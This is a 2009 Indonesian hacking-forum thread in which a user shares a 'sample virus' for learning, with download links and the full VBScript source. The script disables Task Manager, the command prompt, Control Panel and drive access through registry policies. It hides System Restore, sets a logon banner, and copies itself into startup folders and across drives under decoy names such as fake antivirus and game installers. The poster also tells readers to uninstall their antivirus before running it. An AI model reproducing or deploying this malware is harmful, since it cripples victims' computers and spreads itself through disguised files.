endrie2000
Jumlah posting : 29 Join date : 18.04.09 Age : 39 Lokasi : Bandung
| Subyek: CONTOH VIRUS Thu Apr 23, 2009 4:42 am | |
| Buat belajar aja. Jangan dipake buat iseng. Kalo mau nyoba ngaktifin virusnya, uninstall dulu smua antivirus di komputer lo, kalo ada antivirus kan pasti kedetek. Biar data2 lo aman, install dulu deepfreez di komputer lo. inget smua drive harddisk lo di deepfreez ya... biar smua data lo aman ga ilang. Baru deh coba di klik dua kali file berikut. Silahkan dipelajari contoh virus sederhana ini | download| | |
|
endrie2000
Jumlah posting : 29 Join date : 18.04.09 Age : 39 Lokasi : Bandung
| Subyek: Kalo mau nyoba bikin(ngedit) virus Thu Apr 23, 2009 4:49 am | |
| Bagi yang mau nyoba bikin/ngedit virusnya, ini saya kasih scriptnya. Copy smua script berikut ini, buka program notepad, paste disana(Kalo mau diedit dulu boleh lah), terus save as dg nama filenya terserah kamu, tapi dg ekstensi .vbs (contoh asleg.vbs) Terusklik 2kali file hasil save as tadi. Maka silahkan liat efekya. Berikut scriptnya: - Spoiler:
On error resume next Dim Regpen, FSO, Copier, Creator, Dupler, Deleter, Runner set Regpen = CreateObject ("Wscript.Shell") set FSO = CreateObject ("Scripting.FileSystemObject") set Creator = FSO.CreateTextFile ("C:\Salpina.vbs", true) Creator.WriteLine ("Msgbox ("& Chr (34) & "Salpina!!!! Kamu dimana??? Aku akan mecarimu di manapun kamu
berada. AKu masih mencintaimu. AKu butuh kamu dalam hidupku!!!" & chr (34)& ")") Creator.Close
Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr
entVersion\Policies\System\NoRun","1","REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr
entVersion\Policies\System\DisableTaskMgr","1","RE G_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr
entVersion\Policies\System\DisableCMD","1","REG_DW ORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr
entVersion\Policies\Explorer\NoFolderOption","1"," REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr
entVersion\Policies\Explorer\NoDrives","16","REG_D WORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr
entVersion\Policies\Explorer\NoSaveSettings","1"," REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr
entVersion\Policies\Explorer\NoControlPanel","1"," REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr
entVersion\Policies\NoSetTaskbar","1","REG_DWORD" Regpen.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr
entVersion\Policies\Explorer\Advanced\HideFileExt" ,"1","REG_DWORD" Regpen.Regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Winlogon\LegalNoticeCaption",
"SURAT CINTA UNTUK SALPINA" Regpen.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur
rentVersion\Winlogon\LegalNoticeText","SELAMAT DATANG DI DUNIAKU! TEMPAT KEHANCURANKU. TEMPAT DIMANA AKU MATI
TERBUNUH OLEH CINTA SALPINA."
Set Copier = FSO.GetFile ("C:\Salpina.vbs") Copier.Copy ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\winamp.vbs")
FSO.CreateFolder ("C:\Program Files\Microsoft 0ffice\0ffice12") FSO.CreateFolder ("D:\Program Files\Microsoft 0ffice\0ffice12") FSO.CreateFolder ("E:\Program Files\Microsoft 0ffice\0ffice12") FSO.CreateFolder ("F:\Program Files\Microsoft 0ffice\0ffice12") FSO.CreateFolder ("G:\Program Files\Microsoft 0ffice\0ffice12") FSO.CreateFolder ("H:\Program Files\Microsoft 0ffice\0ffice12") FSO.CreateFolder ("I:\Program Files\Microsoft 0ffice\0ffice12") FSO.CreateFolder ("J:\Program Files\Microsoft 0ffice\0ffice12") FSO.CreateFolder ("K:\Program Files\Microsoft 0ffice\0ffice12")
Set Deleter = FSO.GetFile ("C:\Windows\System32\Restore\rstrui.exe") Deleter.Move ("C:\Program Files\Microsoft 0ffice\0ffice12\rstrui.Gnamu")
set Dupler = FSO.GetFile (WScript.ScriptFullName) Dupler.Copy ("C:\Program Files\Microsof 0ffice\0ffice12\Hantu.vbs") Dupler.Copy ("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Desktop.ini.vbs") Dupler.Copy ("C:\Documents and Settings\All Users\Desktop\Dajjal_Antivirus.exe.vbs") Dupler.Copy ("C:\Windows\System32\Restore\rstrui.exe.vbs") Dupler.Copy ("D:\Program\MotoGP_SETUP.vbs") Dupler.Copy ("E:\Program\TuneUp2009_SETUP.vbs") Dupler.Copy ("F:\Program\Ansav_SETUP.vbs") Dupler.Copy ("G:\Program\DeltaForce_SETUP.vbs") Dupler.Copy ("H:\Program\DeltaForce_SETUP.vbs") Dupler.Copy ("I:\Program\Ansav_SETUP.vbs") Dupler.Copy ("J:\Program\Project.vbs") Dupler.Copy ("K:\Program\Hantu.vbs")
Set Runner = WScript.CreateObject ("WScript.Shell") Runner.Run ("C:\Program Files\Microsoft 0ffice\0ffice12\Hantu.vbs")
Selamat belajar!!! Inget Resiko tanggung masing-masing ya!!!!! | |
|
endrie2000
Jumlah posting : 29 Join date : 18.04.09 Age : 39 Lokasi : Bandung
| Subyek: Cara Mengetahui Antivirus kita memenuhi standard antivirus. Thu Apr 23, 2009 4:57 am | |
| Cara Mengetahui Antivirus kita memenuhi standard antivirus atau gak.... Download file berikut | Download di sini|. terus jalankan file hasil download. kalo antivirus kamu langsung ngedetect, berarti antivirus kamu memenuhi standard antivirus internasional. | |
|